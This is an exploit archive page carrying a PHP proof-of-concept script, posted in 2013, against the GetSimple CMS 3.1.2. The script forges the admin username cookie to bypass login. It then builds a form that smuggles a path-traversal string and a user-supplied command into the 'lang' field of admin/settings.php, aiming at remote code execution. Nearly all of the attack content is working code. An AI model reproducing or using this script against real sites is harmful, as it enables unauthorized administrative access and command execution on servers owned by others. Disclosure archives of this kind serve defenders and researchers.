what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GetSimple 3.1.2 Code Execution

GetSimple 3.1.2 Code Execution
Posted Jan 7, 2013
Authored by Jakub Galczyk | Site hauntit.blogspot.com

GetSimple version 3.1.2 suffers from authentication bypass and remote code execution vulnerabilities.

tags | exploit, remote, vulnerability, code execution
SHA-256 | 999e5026f6a4d4013284f6b65319eaceb75847c3e9cf7b3ae5e9dec3d846289c

GetSimple 3.1.2 Code Execution

Change Mirror Download
<?php
// --------------------------------
// iHaiHa-vs-hosting2rce.php
// --------------------------------
// 26.12.2o12
//
// Specjal thanks to ihaiha team for
// 'point of view'.
//


// cookie() grepped from GetSimple 3.1.2, THANKS! ;]
// just for 'knowing the cookie'.
function create_cookie() {
global $USR,$SALT,$cookie_time,$cookie_name;
$saltUSR = $USR.$SALT;
$saltCOOKIE = sha1($cookie_name.$SALT);
setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,'/');
setcookie('GS_ADMIN_USERNAME', $USR, time() + $cookie_time,'/');
}


// get-IT-simple-ihaiha-kod-yeah
function getsimple_cookie(){

// potrzebujemy:
$authenticated = true;
$USR = 'admin'; //$_POST['userid']; // admin?
$ver_no_clean = '3.1.2';
$SITEURL = '/your/GetSimple_3.1.2/admin/settings.php'; //$_POST['siteurl'];
$SALT = sha1($SITEURL);
$cookie_time = '7200';

$site_full_name = 'GetSimple';
$name_url_clean = strtolower(str_replace(' ','-',$site_full_name));
$cookie_name = strtolower($name_url_clean) .'_cookie_'. $ver_no_clean;

echo 'It should be interesting that we can (re)generate valid cookie<br>';
echo 'and login without password, right? <br><br><b>Generated cookie: ';
echo $cookie_name . '<br></b>';
echo '<br>Anyway: this simple code exploits vulnerability in :<br>';
echo '<b>admin/settings.php</b>:';


if( $authenticated ) {
# YES - set the login cookie, then redirect user to secure panel
// create_cookie();
setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/');

echo '<form method="post" action="'. $SITEURL .'">';
echo '<input type="hidden" name="username" value="' . $USR . '">';
echo '<input type="hidden" name="pwd" value="ihaihaiha">'; // sample; as a hardcoded (wrong anyway) pass
echo '<input type="hidden" name="lang" value="en_US/../../../../../../../../../../tmp/&cmd='.$_POST['cmd'].'">';
echo '<br>So add come cmd: <br>';
echo 'cmd: <input type="text" name="cmd">';
echo '<input type="submit" value="teraz">';
} else {
echo 'Nope. :C';
}



} // end of getsimple_cookie()

getsimple_cookie();

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close